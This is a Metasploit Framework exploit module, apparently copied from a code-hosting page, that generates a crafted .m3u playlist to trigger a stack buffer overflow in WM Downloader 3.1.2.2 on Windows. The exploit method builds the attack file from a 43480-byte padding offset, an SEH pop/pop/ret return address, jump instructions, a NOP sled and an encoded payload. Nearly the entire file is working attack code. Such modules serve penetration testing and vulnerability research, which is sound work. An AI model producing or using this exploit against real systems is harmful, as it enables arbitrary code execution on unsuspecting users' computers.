79 lines
2.2 KiB
Ruby
79 lines
2.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
|
|
the application is used to import a specially crafted m3u file, a buffer overflow occurs
|
|
allowing arbitrary code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'fdisk', # Original Exploit
|
|
'dookie' # MSF Module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '66911'],
|
|
[ 'EDB', '14497' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\x09\x0a",
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 28 2010',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = rand_text_alpha_upper(43480) # Offset for WinXP
|
|
sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset
|
|
sploit << [target.ret].pack('V') # Offset
|
|
sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset
|
|
sploit << "\xeb\x0C\x90\x90" # Jump over the cruft
|
|
sploit << [target.ret].pack('V') # Offset
|
|
sploit << "\x90" * 8
|
|
sploit << payload.encoded
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(sploit)
|
|
|
|
end
|
|
|
|
end
|